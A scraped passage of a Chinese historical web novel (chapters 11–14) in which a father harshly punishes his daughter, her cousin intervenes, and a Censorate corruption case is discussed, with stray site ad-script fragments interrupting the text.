$(''.inform'').remove(); $(''#content'').append('' ,跟鹌鹑一样缩回了脑袋,垂了脑袋不敢再看。 最后姜南还是怕惊动了已经休息下的老夫人,领着姜净春去了外头的廊庑下训斥。 李氏见状马上起身想要跟出去,却被一旁坐着的姜润初按住,他道:“母亲,这回她做的确实有些过火了,不能再纵着了。” 前些年跟外男混得夜不归宿倒还能当她年纪小不懂事,可是现在呢,人都这样大了,也已经知道了“男女授受不亲”的道理,却还做这样的事? 口口声声说着喜欢顾淮声,可却跟着旁的男子玩得这样亲近。 传去别人的耳朵里头,不知该怎么说她朝秦暮楚。 她是觉着两人是朋友,玩得再晚都没什么事情,可若是传到了旁人的耳朵里头,指不定得怎样编排她去呢。 李氏听了姜润初的话,想了想后,果真也没再动作,只是视线还不住地落在外头,关注着他们两人的动静。 天已黑得透了,廊庑下还挂着喜庆的红灯笼不曾取下,可这泛出来的红光把姜南的面色照得更加可怖了几分。 姜南把姜净春带去了外头之后,便也不再有所顾忌,他阴沉着脸,质问姜净春道:“你祖母疼你惜你,你呢?你告诉我你是如何想的,在她大寿的日子偷溜出府?你可否还有人伦!” 少女眉眼耷拉着,脸上也未再见喜气,此刻她不安地咬唇,唇瓣竟都沁出了血来,更显嫣红。 姜南这话骂得实在难听...... 人伦? 他竟说她没人伦。 她不知道他为什么要这样说她,这样难听的话,他为什么要这样安在自己的女儿身上。 可是可笑的是,在听到了这话之时,姜净春都不知道该去如何辩驳。 她的眼眶还是不争气地被骂红了。 姜南看她这幅样子,又看了看屋子里的宋玄安,胸中气焰更盛。 可这火他发不到宋家人的身上。 宋玄安的祖父宋阁老在朝为官已久,受帝王垂爱。而且,当初姜南还没当上尚书,方中状元入翰林的时候,还受过宋阁老的提拔。现如今,他也自不能做出什么忘恩负义的事情。 即便知道这事宋玄安也有错,拐着人家的女儿到处乱跑,可他总也不能像训斥姜净春一样,去训斥他。 姜南回过了头去对姜净春道:“几年前你同人出去玩得夜不归宿,我当你是年纪小,脑子还拎不清,可是现在都十六了,前些个日子都及笄了,怎么还做得出这样的事来?!若我不派人去寻,是不是又要不回来。” 姜净春从前没少被她的父亲训斥,可或许是这一回当着这样多人的面,又或许是他骂得实在有些厉害,眼睫再也承受不住泪珠的重量,泪还是不争气地从眼眶滑出,她垂着头,冰凉的泪珠砸到了手背上,苍白的脸上也已经有了泪痕。 “不是的......我没有......” 李氏听不下去,也看不下去了,她走到姜南身边,扯了他道:“说两句就差不多得了,没来得吓唬人做些什么?!” 姜南却不再听她的话,“都是叫你惯做这样!今日我非要罚她,不然永远长不了记性。” 说着,他就让人去拿了板子来。 宋玄安见此,想要出去阻拦,他想说是他哄走了姜净春,同她没什么关系的。 可方走出去一步,就被身后的顾淮声喊住。 “我觉得宋公子还是不要去好。” 即便宋玄安这个时候凑到姜南的面前,去为姜净春说话,去为她解释,可又能怎么样呢?除了让姜南更生气,好像也不会怎么样吧。 宋玄安听到了顾淮声的话,停了步子,回过了身去看他。 顾淮声还坐在那里,手上已经放下了杯盏。 他也在看他。 11. 第十一章 顾淮声就那样安静地坐在那里看向他,眸光清冷。而说了那句话之后,他好似也没有了再去开口的意思,仍旧是那副事不关己的模样。就连方才那话,好像都不是从他的口中说出。 然他身上透露出来的那股冷气,却让人不容忽视。 宋玄安当即确定,这位清心寡欲,向来不展露山水的顾小侯爷,不喜欢他。 他不大是一个敏感的人,可还是轻易地感受到了从他身上透露出的不善之气。 他开始回忆自己何时得罪过他,好像也没有吧。 唯一能称得上得罪过他的事情,便是拐着姜净春到处跑? 终于,一旁的姜润初先开口,打破了那两人之间古怪的氛围。 他皱着眉走到了宋玄安面前,道:“好了,这是我们姜家的家事,宋公子还是先回去吧,万一晚了,只怕宋夫人也要担心。” 赶客之意已经十分明显。 宋玄安今日是跟着宋夫人一起来的姜家,只是他偷跑出去的事情宋夫人早就知道了,不然她也不会自己一个人离开。 家中的事情宋玄安并不担心,他还是比较担心姜净春。 他本还想说些什么,然看着面前蹙着眉头的姜润初,他想到了另外一件事情。 对了,没有兄长会喜欢别的男子拐着自家妹妹到处乱跑的,姜润初不会喜欢,而顾淮声算起来也算是姜净春的兄长,所以,顾淮声的敌意,或许出于此处。 可宋玄安并不想要离开,他固执地没有动作,姜润初眉头紧蹙,还想要开口,却听到外头传来了一声猝不及防的痛呼。 几人噤声,皆往外看去。 是姜净春挨了姜南的手板。 姜南连着往她的手上招呼了好多下,“啪啪”的响声听得人眉心一跳一跳,李氏试图在旁边拉劝,可姜南脾气上来了,又哪里拉得住了他。 “打两下就得了,何故如此!”打在姜净春的身上,痛在李氏的心,她拉不住姜南,气得眼泪都要出来。 这铁板子专用来罚人的,他还下这般死手,想要废了她是不是?! 姜南挥开了她,道:“什么都是训斥两下就算了,打两下就得了!什么都要将将好,人就是这样被你养废了。你既下不去心管,我这做父亲的再不打,往后只管叫她出去丢姜家的脸。” 姜净春挨了打,却也不敢躲,怕惹得她爹更生气,连哭也不敢放声去哭,除了那声痛呼之外,也只敢缩着脑袋苦低声呜咽。 那细嫩的手掌心很快就已经红成了一片。 可她却还一边一边道:“这事是女儿一人的过错,父亲不要怪罪母亲.......” 姜净春不愿意李氏继续在一旁看下去,也怕动静太大惊动了屋子里头已经歇息下的老夫人,她扭过头去对李氏道:“时候已经不早了,母亲就先回去休息吧,我不会有事的,你不要担心我了……” 说这话的时候,分明都还疼得抽噎,却还说没事。 李氏不肯走,姜南强行让人拖她走。李氏的哭喊声渐渐消失在了这里,此处一下子便安静了许多。 顾淮朗还不曾见过这幅场景,吓得缩在了顾夫人的身后,没敢吭声,小手死死地抓着母亲的衣服。 这幅场景任谁看了都于心不忍,就连素来是不喜欢自己妹妹的姜润初都有些看不下去了,他在踟蹰要不要上去劝阻。 一旁的宋玄安实在忍受不了,先一步往外去,可还不曾走出几步,就忽听身后传来了顾淮声的声音。 “你现在在过去,打得便不只是手了。” 顾淮声已经起身,说话的声音也已经带了几分冷意,听着有几分警告的意味。宋玄安一时之间没敢再动,可还没待他来得及反应,顾淮声就又扭头对姜润初道:“你先送他出去吧。” 宋玄安继续在这里也不是个法子,既不肯走,只能让人带他出去了。 姜润初点了点头,而后沉着脸走到了宋玄安的面前,他道:“走吧,宋公子。” 宋玄安饶是再不愿意离开,却也没了办法,他跟在姜润初的身后,从偏门离开了此处,就在要跨出门步入黑夜之时,却鬼使神差地回了头。 他发现顾淮声正往姜净春他们的方向去。 前些时日落了几场雨,深春时节,水汽浓厚,到了夜半时分,吹来的风好似都带了几分湿意,黏腻的感觉让人莫名生出燥意。 顾淮声走到了姜南的面前,他看了眼姜净春的手掌,已经被打得快要血肉模糊。 他道:“舅父,若再打下去,这手便要废了。” 声音听不出什么情绪,就像是一句再简单不过的提醒罢了。 姜南自然也看到了,可他还是不肯消气,顾淮声看得出来他仍旧没有作罢的意思,便又道:“错了该罚是不错,可赏罚皆要讲究个度。舅父罚也罚了,打也打了,表妹看来已经知错了,若是再打下去,只怕真再养不好了。” 奖惩有度,便是犯了错惩罚,也不该是这么个打法。 他这话言下之意,便是说姜南打得实在是太过了。 眼看姜南还有争执之意,一旁的顾夫人也过来劝道:“大哥,当真不能再打下去了啊。” 她又拉了拉姜净春,对她道:“快跟你父亲说知道错了,保证下回不会再犯了。” 姜净春手疼得厉害,也没敢再犟,被打成了这样,她也是真的知道错了。 她听了顾夫人的话,哭着道:“爹,我真的知错了,我下次再也不会瞎跑了。” 顾夫人马上给顾淮声使了个眼色,让他先把姜净春带走,而她上去拖住姜南,“她是孩子,你是大人,你看看,孩子都知道错了,还同她计较些什么呢。” 待到姜南再反应过来之时,顾淮声也已经带着人离开了此处。 * 月华如霜,云雾薄淡,事情闹到了现在,几近三更,了无人声。 两人走在路上,顾淮声走在前面,姜净春跟在他的身后,两人就这样走着,谁都没有先开口说话。寂然无声的深夜,除了两人的脚步声,便只有姜净春隐隐啜泣的声音了。 伤口疼得她手心都有些发痒,姜净春实在受不了,忍不住将被打得不像样的手掌凑到了嘴边,伸出舌头轻轻舔舐。 血腥气弥漫上了舌尖,一股浓烈的铁锈气渗满了口腔,掌心被舔舐,一阵又一阵地刺痛争先恐后袭来,痛得她秀眉拧成了一团。 不过,那股血肉分离的痒意,也果真消散了些许。 前面的脚步声忽然停了下来,姜净春抬眼去看,就见顾淮声正盯着她看。 偷偷舔舐伤口被发现了,她面露了几分羞赧,尴尬地放下了手。 顾淮声看着她,忽然出声问道:“疼吗。” 肃清的月光下,顾淮声的瞳孔,更显深邃。 姜净春没想到他这样问,懵了片刻。可反应过来后,她脑中又杂七杂八地想起了别的事。 她想,表兄不喜欢小孩,应当更不喜欢会喊疼的小孩,更更不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢哭哭啼啼的小孩。 况说,本就是她有错在先,挨了打也是应该的。 这是祖母教她的,犯错就要挨罚,天经地义的事情,没什么好说的。 姜净春疼得快死了,可却还是摇头,她说,“不疼。” 夜风吹过,发丝被吹起黏在她的侧脸之际,她的眼眶还氤氲着一片水汽,眼尾泛红一片,就像是路边那被雨水浇湿后蔫了吧唧的夹竹桃,了无生机……却一片旖旎。 昨些个日子落的雨,将姜家上上下下冲刷了个干干净净。浮尘洗净,路上的空气中,都还有些尘土的气息。 听她说不痛,顾淮声似低笑了一声,从喉中溢出来的笑,带着几分低沉。 都成这样了,竟还说不痛。 顾淮声敛眉,“痛也不说,撒谎做些什么。” 他以为自己对小孩的心理应当足够了解了,就像是顾淮朗,小孩还没张嘴,他就已经明白他心里面在想些什么。在他眼中,姜净春应该和顾淮朗没什么差别,可现在他竟也不明白,分明她已经痛得要死,却还要说不痛。 不过他没想等到姜净春的回答,也无甚兴趣去分析其中原因究竟是何,他见她吞声踟蹰不敢言,也没逼迫,转回身去。 “走吧,我已经让人去唤了府医过来。” 两人去了前厅,府医已经等在了那处。 医师看了姜净春的掌心后直叹气摇头,也不知道是哪位主子下得这般狠手,恨不能把人的骨头连着肉都一块打出来。 他让丫鬟去打来了热水,而后开始给姜净春处理了伤口。 手心伤得厉害,一被碰到便是钻心的痛,姜净春见顾淮声在旁边,便一直强忍着没发出声,咬得唇都要破了,却也没有哼哧一声。 三鼓寂静,便是连牛虻草蛭也该没了声音,她却忍得这样辛苦。 顾淮声转身,而后帘栊作响,他去了外头。 他走了之后,屋中的姜净春便也不再忍耐,实在受不住疼,发出了哭声,起先还能忍,可后来痛得理智全无,哭得也越来越厉害。 便是连屋子外头的顾淮声都听到了她的声音。 他的视线无意识落在窗台,哭声从那里面传出。 也不知是过了多久,里头的声音才渐渐消失了干净,府医从屋子里面出来,他已经将换药的事宜告诉了姜净。可顾淮声还是又问了一嘴,打算一会交代给她身边的丫鬟。 府医走好,顾淮声进了屋去。 姜净春的手已经包扎好了,此刻正坐在椅上,低着头没有说话,也不知道是在想些什么。前厅只燃着一盏烛火,灯光打在她的侧脸,因着出神,她的眼神看着有几分空洞。 顾淮声走到了她的面前。 眼前覆盖了一片阴影,姜净春抬头去看他。 “疼吗。”他方才在外面已经问过她了,现在却又补充了一句,“撒谎的不是好小孩。” 可这话不知道是哪里戳到了姜净春,她听明白了顾淮声的话后,眼中好像都生出了几分恼,就连掌心那钻心的疼都被抛之脑后。 她举着自己那被包得里三层外三层的手给顾淮声看。 她问他,“表兄觉得我是小孩,就像是和小朗一样的小孩?” 不等顾淮声开口,她又道:“才不是呢。若是小朗成了这样,他一定会哭着找娘亲的。他会,可是我不会。” “所以表兄,我真的不是小孩子了。” “你也别再把我当小孩了行吗。” 12. 第十二章 她不喜欢别人说她是小孩,尤其这人是顾淮声,她好像无论怎么做,怎么努力让自己看起来成熟些,在他的眼中,她却没有一点长进和变化。 而且她都疼成这样了,他便不能说些好话吗? 她有些生气,可顾淮声的情绪却仍旧没有波动,像是一朵没有情绪的高岭之花,无论风雨如何吹打,他也无所情绪。 他道:“这不一样。” 不是不去喊疼就不是小孩了。 “还有,往后莫要再和外男偷跑出去了,偷跑出府,顾淮朗都不会做。” 姜净春把自己拿去和顾淮朗比较,他便也拿他来说事。 她说她不是小孩,可她做的事情小孩子都不会做。 可姜净春听到了这话,眼睛却亮了亮,“表兄是不喜欢我跟别的男子玩吗?若你不喜欢,我往后一定.......” 一定不会去了。 李氏已经从外头赶了过来,顾淮声依稀能听得她的脚步声。 有人来,他便不宜再继续同她谈论这样的话,他打断了姜净春,道:“没有,只是因为不合礼数罢了,再有下次,舅父还会打你。” 说完这话,顾淮声便往外头去了,和赶来的李氏错身而过。 他这话就像是最简单不过得提醒,没有任何旁的意思,就连一点其余的情绪都不掺杂,可笑她还竟想到了别处。 姜净春愣在了原处,忍不住掐了掐掌心,洁白的纱布又渗出了些许的血。 再反应过来后,只有李氏的声音,而顾淮声的背影早就消失不见。 这一夜姜净春睡得并不大好,或许是因为姜南的责罚给她留下了不少的阴影,以至于她被噩梦缠身,睡梦之中总是低喃,睡得不大安稳。 第二日一醒来竟还发了热,脑袋昏昏沉沉的,就连起身的力气都没有了,可有了昨日的事情在先,怕惹了大人不快,她也不敢再去告假,只能硬着头皮去上了柳嬷嬷的课。 可叫倒霉的还是,她最后实在是撑不住,直接在课上就昏了过去。 把周遭的人都吓了一跳。 人被抬去了老夫人的屋子里面躺下,府医昨日刚给她看过手伤,今日又来了一趟。 好在看了一番过后,也是没甚大碍,应当是受了惊吓,又加之春季伤口容易发炎,一连串的反应,便使得后来发了热病。也不是什么大病,休养个两日便好了。 昨日老夫人进了屋子后便歇下了,外头发生的事情也没能惊扰到她,而姜南那头让人闭嘴,瞒下了此事。 所以直到姜净春昏倒,她才从下人们的口中知道了昨夜发生的事情。 府医走后,老夫人便沉着脸对下人道:“待那混账下值了,喊他过来。” 这是老夫人头一次这般生气,看着像是真动了怒。看来,她还是疼爱姜净春的,否则也不会人受了一点伤就气成了这幅模样。 这处发生的事情,没有传出去,李氏也还不知道。下人们该烧药的烧药,该去打水的便打水,此间只有他们来回走动忙活的声音,老夫人坐在床榻边,守着尚在昏迷之中的姜净春。 博山庐中散出阵阵香雾,缭绕在侧。 也不知道是过了多久,躺在床上的人终于醒了过来。 姜净春睁开眼的时候便发现此处不是自己的房间,扭头看去,发现祖母正在坐在一旁,老人家精力有限,此刻眼睛半阖着休憩。 姜净春哑着嗓子出声唤了她,“祖母。” 嗓音干涩沙哑,就像被砂砾磨过一样。 老夫人见她醒了,睁了眼来,她问,“醒了?嘴巴可干?” 昏了快有一天,一觉醒来,嘴巴里头应当是干巴得不行。 姜净春点了点头,而后老夫人亲自起身去桌边端了水来,将她从床上扶起,喂着她喝了些许下去。 果不其然,饮了些许水后,干涩的嗓子便好受得多了,不然,就连呼吸之间都带着几分痛意。 姜净春看了眼屋外,夕阳的余晖落下,透过窗棂落在了屋子的门板上。 竟没想到都已经到了傍晚时候。 姜净春垂了眼,道:“对不起,祖母,给您添麻烦了。” 她说着这话的时候,语气中都带了几分小心翼翼,老夫人看她这样,眉心一蹙,知道定是昨日姜南的那一句“没人伦”,给姜净春留下了阴影。 恐怕,她现在还在因为昨日的事情而觉得不安。 发热是外病,可心里头却还有心病。 老夫人直接问她道:“还在想着昨日的事情?” 姜净春默声片刻,过了好一会,才开口道:“我不该瞎跑的,昨日是祖母的大寿,我却还想着出去玩,孙女不孝。” 果然是还在介怀此事。 老夫人叹了口气,伸出手去理了理她那乱糟糟的头发,她一边拨弄着她的头发,一边道:“祖母不是早就跟你说过了吗,事情是做给旁人看的,面子功夫谁不会做?他在生辰的时候大操大办,多看我几眼,他便是顶天的孝顺了吗。你父亲说你没人伦纲常,他便有了?日日陪在我身边的是你,又非是他。他说谁,也说不得你。” “休听你父亲的话吓得自己心惊胆战,也就欺负你年岁小,经不起吓,只要祖母不怪罪你,谁会去怪你呢。” 她语重心长,语气也难得没平日那般生硬,带了几分柔。 本朝以孝悌为重,标榜儒家仁义礼智,尊卑分明,就连皇帝来了也要敬天法祖,效法祖宗。上至帝王下至百姓,没有人能打破这套标准。 尤其是姜南这在朝廷中当官的人,更是在意这些。而在朝廷中当官的人,向来也是说得比唱得好听。饶是他对老夫人确实有六分的孝顺,可做给别人看的,能有十分。 姜净春不一样,即便她心里头有十分的孝顺,却因为在寿辰日跑出去玩,便被冠上了“没人伦”三字。 良知只是个是非之心,她还没糊涂,也不是没良心的人,更也知道谁是真心,谁是假意。 她才不在乎姜净春那一日在不在,她平日里头在不就好了吗? 姜净春听了老夫人的话久久不言,分明她说不怪她,可她还是红了眼,她吸了吸鼻子,还想说些什么,可这时从门外进来了个丫鬟,附在她的耳边也不知是说了些什么。 老夫人让姜净春再躺下休息,而后自己便起身出去了。 来的人是下了值的姜南。 屋子里头的人已经被清了出去,此处只有母子二人。 姜南坐在一旁,看老夫人的脸色便知道她唤他来是何事,他没有先开口说话。 “便不是你亲生的,你又何至于如此待她?你难道是觉得,待净春好些,便是待净慧不好?”老夫人道。 姜南愣了片刻,似是被说中了心事,可很快却又嗤笑了一声,像是听到了什么笑话似的,他抬头看向老夫人,眼神之中都带了几分质问。 他道:“我如何待她了?做错了还打不得了吗。她从小到大,我也自认为没对她做过什么天大的狠事,就连当初缠足,她哭得上蹿下跳喊疼,我不也没强摁着她裹吗。哪户女儿家的不缠足,传出去了也只会说是家里人的没有教养。我都如此了,您还想要我如何。” 当初姜净春到了年岁便要开始缠足,奈何她实在是受不了这疼,疼得到处撞墙,疼得想要跳河自尽,她知李氏疼她,便当着她的面寻死觅活,没了法子,只要姜净春清醒着的时候就不停地要去闹腾,这怎么弄? 不过好在后来,姜净春的脚也长不了大,虽同三寸金莲着实有所差距,可也实在是没了办法。后来这缠脚的事情就被不声不响地盖了过去,也没人再去提。 “甭拿那事出来说了,若是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 将人打昏过去就能完事,你一定给她脑门上来一锄头。” 裹足少说要个把月,总也不能真叫人打昏了去。 姜南被拆穿,可仍旧嘴硬,他道:“可昨日的事情若是被传出去,外头的人该去怎么编排......” “没人说,谁会传?” 他说的话显然是不在理。 姜南也不敢再去跟老夫人犟嘴,老夫人的脾气比他还要倔些,若是继续争下去,对谁也没有好。 他不再去说此事,转了个话题道:“可她现下也到了该去说亲的年纪了,同宋家那个公子如此拉拉扯扯,又如何使得?” 姜南道:“她过了十六,也阖该说亲了。” 说亲这事,本该由李氏把持,但她却一直不大操心于此,若姜南去提,她便总拿着姜净春现下还喜欢着顾淮声一事去说。那难不成姜净春嫁不了顾淮声,还打算一直不嫁了不成? 老夫人淡淡道:“少来转移话题。” 姜南抿了抿嘴,没再说话。 他在此处,老老实实被训了约莫小半个时辰,从荣德堂出来的时候脸色都快有些发白。 出来之后,他回去了书房,房间外等着一个侍卫。 见到姜南回来,他给他抱拳行礼,姜南看了眼他,点头算是应下,而后让人跟着一起进了屋。 两人走到书桌前,姜南坐下,抬头看向他,问道:“人有下落了?” 他语气平淡,这样的话几乎都快要问了上百遍,然而每次侍卫的回答,都不过是“还在寻”,这次他已经不抱什么希望了。 然而,这一回他的回答却和往常不大一样。 “小姐有踪迹了。” 姜南眉心一跳,一时之间没能反应过来,甚至怀疑是自己听错了话。 “找到了?” 声音都带着止不住地颤,昭示着他的紧张。 侍卫回话,他道:“还不曾,但发现了些许下落。” 姜南从书房中出来之后就回了主屋那处。 因着他打了姜净春的手板,李氏一直在为这事耿耿于怀,平日里头见到了他也装做没有看到,不愿去理会他,就连睡觉歇息,也搬到了另外的偏房去了。 姜南何尝不知她是因何事生气,回了主屋之后,见人不在屋子里头,便去偏房寻人,果不其然寻到了人。 林氏听到了外头的动静,抬头去看,看到人是姜南便没了什么好脸色,她道:“你来做些什么?” 看到便让人烦不行。 姜南没有理会她的呛声,他走到了她的身边坐下,端的态度也是心平气和,他看着李氏的眼神好似都带了几分亮。 他道:“婉宁,小慧有下落了。” 小慧......这个名字已经许久没有出现在李氏的耳中了,一下子猝不及防被提起,她怔愣了片刻,而后道:“什么小慧。” 她在记忆中搜寻这个名字,可或许是那段记忆被尘封在记忆深处,她如何都想不起那人是谁,她甚至连姜净春改名之前是姜净慧都记不得。 李氏眉头紧紧蹙着,就连跟姜南生气的功夫都没有了。 小慧是谁。 “小慧是我们的女儿啊。”姜南说。 小慧是她的女儿? 可是姜夫人记得,她的女儿就只有姜净春啊。 “你少来给我乱认亲,我的女儿,只有姜净春一个。” 她想,一定是姜南觉得姜净春不听话,所以才故意去说这些话的,她道:“人现在不是在母亲那里学规矩了吗,你差不多也得了。” 她不再愿意和姜南说下去,起身离开了此处。 姜南看着李婉宁离开的背影,沉沉地吐出了一口浊气。 也罢,突然跟她说起这事,她接受不了也是正常,等找到了人,她难道还会不认不成? 13. 第十三章 日子很快便过去,到了五月份便要开始迎端午,各家各户也已经备上了菰叶,准备包粽子,走在街上,也时不时能闻到粽叶的气味。 都察院的一间厢房中。 顾淮声偏头看向窗外,正午的阳光刺眼热烈,空气中的微尘似都清晰可见。光直直地打在院中纷杂的树叶上,枝繁叶茂的树叶在这一刻莹润泛光,带着暑气的风吹过,风摇影动,地上的树影也跟着其不断晃动。 现下是午后,他方用完午饭,无所事事看着窗外发呆。 就在这时,门口传来了一阵脚步声,他扭头去看。 来的人是衙门中的同僚,何川。 何川在都察院的经历司任职六品经历,受左右佥都御史总理,平日里头有些什么事情,何川都会先将东西传给佥都御史办公的厢房,若事情有些棘手,他便亲自来同顾淮声商议。 就如现在,他碰到了一件麻烦事,要来寻顾淮声商议。 顾淮声起身走到了会客的桌边,外头摆放着一套红木桌椅,屋子的正中挂着一道四方牌匾,上头题了“处心公正”四个大字。 两人面对面而坐,因着年岁相仿,公务往来频繁,也算相熟亲近。 顾淮声问道:“今日来是何事?” 他既主动寻来,这事应当是有些不寻常。 何川眉头微蹙,直接说明了来意,“前些时日不是给工部的那个郎中定了贪污的罪吗,今个儿把案件承给了大理寺那边复核,谁晓得竟给打了回来。” 都察院主监察、弹劾百官,一般都察院的案子定了之后,交由刑部定责,便可行刑,但大理寺的人若复核不通过,便还要打回重审。 今日何川便是遇到了这事。 工部郎中贪污案,这桩案子便是顾淮声前些时日忙的案子。 前些年间,工部收到了修筑天禄台的命令,这道令由内阁颁出,给工部两年的时间完成搭建。工部尚书收下了这道令,后续把这事交给了那工部的郎中督工。 天禄台在两年后,圆满交工,本来一切也只是一件再正常不过的事,可在天禄台完工没有一年的时间,却轰然倒塌...... 这事闹得不小,马上引起轩然大波,皇帝知道之后,龙颜大怒,下旨将与此事有关的人尽数逮捕,关入都察院中。 兹事体大,皇帝点名要让顾淮声来查明此事,可见得对他的信任。 这件事情真要查起来,其实也不大难。无非就是那位督工的工部郎中,贪了修建台的银钱,用了低质的材料,才导致那完工不过一年的天禄台就那样塌了。 一开始的时候那工部郎中死活不肯认罪,可被顾淮声审了一番之后,才终于松了口。 认罪之后,他们便将这人的罪证还有罪辞转交给了大理寺那边的人,可却不想,他们竟不认。 不过,也在人的意料之中。 顾淮声看何川生气,便倒了盏茶水给他,推到他的面前。 他道:“看来是大理寺那边叫人打点过了。” 也难怪那郎中最后认罪认得那样痛快,想来就是因为知道即便他认了罪,大理寺那关,他们也过不了。 这件事情牵扯到的绝对不只一个小小的工部郎中,才五品的官,就敢惹出这样大的事情?若背后没人,自是不大可能。而大理寺这回能将这些东西打回来,便是已经和他背后的人通了气。 何川接过了他倒的茶水,仰头一口闷下,他道:“谁这样不要命,这样的事也要插手。” “还能是谁。”顾淮声淡淡道。 修筑天禄台的银子可都是往工部抬去的,这钱怎么也跑不出去工部,一个五品的郎中没胆子去贪那百万两雪花银,可若背后站着一个工部的尚书呢。 两人心知肚明顾淮声口中的人是谁。 工部尚书......如今的内阁首辅。 如果是他的话,好像确实没了办法。他要保人,他们便难要那工部郎中的命,再说了,真正贪污的人,也不是他,他这郎中,不过是个顶罪羊罢了,杀了他,往后也还会有千千万万个他。 可何川还是不大甘心,“既是牵扯到了那位,难不成就不管了吗?天禄台一塌,害死了多少人,钱也没了,人也死了,结果到头来,他们什么事都没有。” 当初拨了两百万两银子去工部,现在看来,是全拿去打了水漂。 一堆误国蠹虫,让人怎么不气。 顾淮声也默了声,没再说话,过了一会,他道:“那便跟他们耗着吧。” 既他们那边有人插手,不让他们轻易定罪,现下除了耗着,也没其他法子了。 听他这样说,何川也知道这事急不得了,他应了声,而后便告退往外去了。 何川走后没有一会,顾淮声身边的小厮书良又进了屋来,他从屋外走来,手上还提着个锦盒。 书良见顾淮声的视线落在锦盒上头,出声解释道:“是陛下赏赐的,说是端午要来了。” 顾淮声颔首,算是知晓,道:“放桌上吧。” 书良不住多嘴,“皇上果真是爱重主子。” 当今皇帝是太和帝,或是出于爱才的缘故,对顾家的这个小侯爷颇为赏识,重用于他不说,逢年过节的赏赐也不少。 顾淮声没将这话放在心上,他默声片刻,也不知是在想何事,过了一会,他忽开口道:“一会去姜府吧。” “去姜府做些什么?”书良有些不解。 顾淮声道:“许久未曾拜见外祖母,宫中赏赐了东西,先孝顺她老人家才是。” 书良听后,觉得此话确实不错,便也没再多想。 * 五月份的天,过了芒种之后,空气中便带了几分燥热,临近傍晚时分,天际的火烧云格外扎眼,火红的夕阳撒在庭中的院落,给树叶都染红了色,天色已晚,屋子里头也总没白日那般闷热。 姜净芳早受不住那柳嬷嬷的磋磨,跑回了二房的住处,好早些日子就没来了这处,她要走,老夫人也没拦,她不愿意学,她也没那闲工夫押着她学。 姜净春在柳嬷嬷那头上完了一日的课,散了课后,便陪在了老夫人的身边。 柳嬷嬷今日也在旁边,同老夫人说着姜净春近些时日的学习的成果。 听完了柳嬷嬷的话,老夫人有些满意地点了点,而后转过头去问姜净春道:“明个儿就是端午了,可要出去玩?” 出去玩?自从上一回挨了训斥之后,姜净春便对这事格外敏感。 明日是端午,那便有家宴要吃,以往每年都是这样。 若是跑出去,又叫父亲知道,她恐怕又要挨顿打。 再说了,上次过后,她也已经下定决心不混耍了。 她摇头,道:“我不出去,我待在家里头就好了。” 老夫人哪里不知道她在怕些什么,她说,“明天城里头可有赛龙舟,还有放花灯,你当真不想去吗。” 她向来讲究松弛有度,人若一直憋在屋子里头,也是要憋出病来的。 况说,姜净春终究也才十六岁,本就不是个能 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 耐得住寂寞的性子。 老夫人道:“你倒时候用完家宴再出门不就是了吗,将好差不多那个时候龙舟也要开赛,花灯也都亮堂起来了,恰是好时候。” 老夫人果然最懂她,她这话说完,坐在一旁的姜净春眼睛都亮了几分。 如果说是祖母应允她能出门的,那便不算是偷跑出去了....... 老夫人将她的表情变化看在眼中,笑了笑,又问了她一遍,“想去吗?” 姜净春最后没能耐得住诱惑,点了点头,可上一次实在是有些被打怕了,那手上的伤至今都还没好,每日都在泛疼。 她不放心地问道:“祖母,当真可以吗?爹爹知道了,还会打我吗。” 她的声音带着几分小心翼翼,眼中显然还有几分后怕。 老夫人道:“你放心,这回你就当着他的面走,明个儿宴席一散,你就出门玩去,祖母在呢,给你盯着他。” 闻此,姜净春便彻底不再怕了,她高兴地跑到了老夫人身边,扑到了她的怀中,“还是祖母待我好。” 老夫人笑骂道:“你个顽皮,惯会撒娇卖泼讨我开心的。” 就在姜净春腻歪在老夫人身上之时,外头的珠玉帘被人掀起,响起了噼里啪啦的珠子碰撞声,而后,下人们往里头传话,“小侯爷来了。” 听得此声,姜净春忙从老夫人身上爬起来,方立正站好,顾淮声就进来了里间。 没人想到顾淮声今日会来,来的还是他一个人。 他的突然出现在众人意料之外。 因为着急,净春面上微微发红,或许是怕顾淮声看到她方才那样又会不喜,所以起来得那样急切,她站在一旁,还时不时地整理下头发,生怕变得凌乱。 上一次他又说她是小孩子脾性,这让她耿耿于怀。 待到心绪平定了些许之后,她才出声对顾淮声道:“表兄。” 顾淮声点头,算是应了话,而后走到了老夫人的面前给她行礼。 老夫人看到突然到来的顾淮声也有些许意外,她问道:“伏砚今日怎突然想着来了?” 顾淮声回了老夫人的话,他将那套说辞又说了遍。 老夫人听后,面露欣慰之色,而后道:“你有心了,快坐下吧。” 有东西能想着这个外祖母,是有心之一,送个东西还亲自跑一趟,是有心之二。 对自己这个外孙,老夫人也向来是说不出什么挑剔的话来。 顾淮声颔首,往一旁的椅子坐去。 姜净春站在一旁,见此又不动声色想坐到顾淮声的身边,然而,柳嬷嬷就在旁边,她教她男女授受不亲,在她的眼皮子底下,姜净春没敢那样放肆的 于是,她坐在了同他空了一个位子的地方。 顾淮声将她的动作尽收眼底。 祖孙二人说了些许家常话,无非就是顾淮声问候老夫人的身体是否安好,而老夫人又问顾淮声在衙门里头是否一切顺利。 约莫过了两炷香的功夫,两人说也说的差不多了,顾淮声的东西也送到了,看着外头天色差不多已经要黑了,便起身告退,姜净春见他要走,也按捺不住了,方才一直没吭声的姜净春忽然起身道:“祖母,我去送送表兄吧。” 老夫人看了看她,又看了看顾淮声,终究是没说些什么,她道:“嗯,去吧。” 姜净春跟在了顾淮声,同他一起出去。 两人安静了一路,直到了出了房之后,姜净春忽然开口问他,“表兄明晚有空吗?” 14. 第十四章 她站在他的身侧,轻声问他,像是只是一个简单的询问罢了,没有旁的想法。又或许是柳嬷嬷最近教了她些什么东西,大约是同外男说话的时候要保持些礼数,所以她也不敢靠他太近。 可或许也是因为她问的实在有些含蓄,一时之间,顾淮声竟也有些摸不清楚她是在想些什么。 他忍不住扭头望她,见她低垂着脑袋走路,两股双垂髻上挂着的蓝色飘带,也随着步伐的走动轻微晃动,姜净春见他不说话,便扭过头去看他,于是,两人的视线将好就撞到了一处,他见她的眼中有几分疑惑。 